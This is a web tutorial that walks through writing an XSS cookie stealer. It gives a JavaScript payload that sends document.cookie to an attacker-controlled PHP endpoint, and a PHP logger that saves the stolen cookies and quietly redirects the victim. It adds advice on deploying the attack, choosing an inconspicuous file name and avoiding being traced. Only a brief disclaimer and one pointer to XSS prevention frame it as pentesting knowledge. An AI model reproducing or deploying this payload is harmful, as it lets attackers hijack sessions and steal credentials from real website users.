How To: Write an XSS Cookie Stealer in JavaScript to Steal Passwords

Write an XSS Cookie Stealer in JavaScript to Steal Passwords

JavaScript is one of the most common languages used on the web. It can automate and animate website components, manage website content, and carry out many other useful functions from within a webpage. The scripting language also has many functions which can be used for malicious purposes, including stealing a user's cookies containing passwords and other information.

Cookies are information which a website requests or maintains regarding specific users which visit the page. These cookies contain information about how and when they visit, as well as authentication information for the site such as usernames and passwords. As these cookies must be in use whenever a visitor is active on a given website, an attacker who can intercept them can steal this information and use it to impersonate or catalog information about specific users.

It's possible to utilize JavaScript in order to save or modify a user's cookies for a given domain. While this is usually applied in order to create and use cookies for interactive web development, if an attacker is able to maliciously view the same cookies, it becomes a valuable hacking technique. JavaScript-based attacks are especially effective when combined with tactics like code injection, as it allows malicious code to be executed on what appears to be an otherwise trusted website.

While we don't advocate stealing anyone's passwords, this guide is a must-know topic for any pentester or IT security professional to understand. If you don't know how black hat hackers do things, you'll never be able to catch them.

Step 1: Creating an HTML Test Page

In order to steal cookies, a cookie must first be available on the web domain the user is viewing. This happens whenever the user views the website. While it's absolutely possible to inject JavaScript into websites using a man-in-the-middle attack, or by exploiting a vulnerable website, both of these would require additional effort to implement.

The test environment for our cookie will be within a fairly standard HTML index page. We will be able to embed all of our JavaScript elements inline. First, create a new directory to contain the HTML file. On a Linux or macOS system, we can use mkdir, as seen below.

mkdir cookiestealer

We can move into this directory with cd command, as in this example.

cd cookiestealer

Once we're in this folder, we can create our index file with touch by typing the following into a terminal window.

touch index.html

Next, we'll edit this index file too. First, open the file in nano.

nano index.html

Add the basic HTML opening and closing tags needed. In this case, we only need "html" and "body" tags as no "head" elements are needed to test JavaScript. The file should now look similar to below.

<html>
<body>
</body>
</html>

We can save this file by pressing Ctrl+O in nano. At this point, if opened in a web browser, our page will be blank. We can add a title element or some basic HTML content, or even add our scripting elements to any web page we've created, but for testing purposes, this will be sufficient.

Step 2: Creating a Cookie

We can create a basic parameter inserted within a cookie by using only a single string. This cookie will only exist within this page, and similarly, the technique used to dump cookies later will apply to any cookie being stored within the page on which the script is run or injected.

<script type="text/javascript">document.cookie = "username=Null Byte";</script>

This script should be inserted within the "body" section of the HTML file, as seen below.

If the webpage with this script is opened, a cookie will be set, but nothing will be visible in the browser. We can dump the cookie directly into the page itself using the "document.write" function. This won't be of any use for exporting the cookies without a potential user's knowledge, but it can help us understand the format in which the cookie writing technique works. We can add the following line to our script to test this.

document.write(document.cookie);

Our script should now look similar to the example below.

<script type="text/javascript">
document.cookie = "username=Null Byte";
document.write(document.cookie);
</script>

When opened in a browser, it should look similar to the image below.

We've now successfully set "username=Null Byte" as a cookie for this page. We can now remove the "document.write(document.cookie);" function of the script, as we are instead going to forward the cookies retrieved from the targeted user's page to an independent, offsite page on which they can be written and stored by us.

Step 3: Stealing Cookies Using JavaScript

The JavaScript string we'll use to pass cookies to a server where we can write them to will once again utilize the document.cookie parameter, however, it will be instead passed inline with a URL as defined in document.location.

document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie;

In this example, the PHP file is located on the local machine, or localhost, at 127.0.0.1. In an actual deployment of this technique, it should point towards a file hosted on a web server which can be resolved to outside of the local network or local machine.

If one was targeting a social media website, the script would be injected within that site, and the cookies which are stolen would be sent to an IP or URL of a server controlled by the hacker.

For testing purposes, we will be able to host the file locally using PHP's test server module.

We can enclose this JavaScript within script tags, as seen below, on the same HTML page on which we defined a sample cookie.

<script type="text/javascript">
document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie;
</script>

The HTML page code should now look similar to the image below.

This JavaScript is enough to annex a cookie to a request sent to a PHP URL, and as such is actually the entirety of the JavaScript needed for this function. The rest of the processing of the cookie needs to be handled by PHP.

Step 4: Processing Cookies with PHP

We are able to control what we do with the cookie and where we direct the user who has had their cookies stolen from within the PHP file, defined in the JavaScript string. In the example above, the name of this PHP file was cookiestealer.php, and it was located on the local system at 127.0.0.1.

This is sufficient for a test deployment, but in a real-world scenario the PHP file would be better served with a less obvious name and located at an external IP or URL.

First, create a new PHP file in the same directory as the index.html file. You can do so by typing the following command.

nano cookiestealer.php

After adding PHP opening and closing brackets, the first element we'll want to define is redirect location, as seen in this example.

<?php
header ('Location:https://google.com');
?>

We define this as the "Location" following the "header," in this case "https://google.com." It can be set to whatever you choose, so long as it's an address which can be handled by a web browser. To limit the risk of a user becoming aware of an attack, it would be best to redirect them to a relevant page on the same domain, such that they are not alarmed, or become stuck in an infinite loop of the script running over and over.

With the user redirection established, we can add additional code to process the cookie. First, we'll assign the cookie as carried by the URL to a variable.

$cookies = $_GET"c";

Next, we'll define the file to which the cookies will be saved to on the server which we control. In the example below, the file is named "log.txt."

$file = fopen('log.txt', 'a');

Lastly, we'll combine the variables defined in the above two strings in order to write the variable's content, the cookie, to our log file.

fwrite($file, $cookies . "\n\n");

Our code should now appear similar to the image below.

With this file saved, we're ready to prepare a test environment for the PHP code.

Step 5: Testing the Cookie Stealer

The version of PHP available on most Linux distributions and Unix-like operating systems includes a test server. This server module is small, limited, and not suitable for live deployments, but is very lightweight and effective for testing PHP code.

From within the same directory as our index.html and cookiestealer.php files, we can launch a PHP test server from the command line by typing the following.

php -S 127.0.0.1:80

This test server now allows us to test our page by simply opening "127.0.0.1" within a web browser on the same machine.

After opening this page, our browser will most likely almost immediately resolve to the website we defined as a redirect, in this case Google.

If we take a look at our PHP server log, we'll notice that an argument was passed to our PHP file and our PHP code was executed.

Finally, we'll be able to retrieve the cookies by checking the "log.txt" file which now exists in our site directory. We can view this by using cat in the command line.

cat log.txt

If the log contains the contents of our cookie, in this case "username=Null Byte," then we have successfully stolen cookies using JavaScript!

Step 6: Deploying the Attack

This attack is extremely valuable for doing damage and gaining user credentials in any scenario where you're able to inject code on a site where users may be using cookies. Cookies often contain important user information in plaintext, and many times contain private keys which can be used to impersonate or log on as the user.

This attack could be injected anywhere which an HTML script tag could be inserted. A popular test method to test web forms for XSS vulnerability is using a simple "alert" string such as the one below.

<script>alert("Alert");</script>

This script will simply attempt to open an alert box such as the example below. If it opens, the website is vulnerable to XSS.

In a live attack, a hacker would be careful with the way in which the PHP script is hosted. If done improperly, the origin of the PHP file could be easily traced back to the hacker. If a tactic such as this is detected, in order to identify an attacker, it would be useful to attempt to seek information on where stolen cookies are being sent and stored.

This method demonstrates just how powerful JavaScript can be as an attack tool. While it's very useful for making the web more convenient, if a website is vulnerable to malicious JavaScript injection it can be present a big risk to the site and it's users. The burden of responsibility for preventing XSS attacks lies on web developers creating secure websites. You can also check out our guide to preventing XSS attacks. If a user does not trust the scripts being run on a website, they can block them using a web browser addon such as NoScript.

I hope you enjoyed this article on stealing cookies! If you have any questions or comments about the article, leave them below or reach me on Twitter @tahkion.

Cover photo and screenshots by Takhion/Null Byte

Be the First to Comment

Share Your Thoughts

  • Hot
  • Latest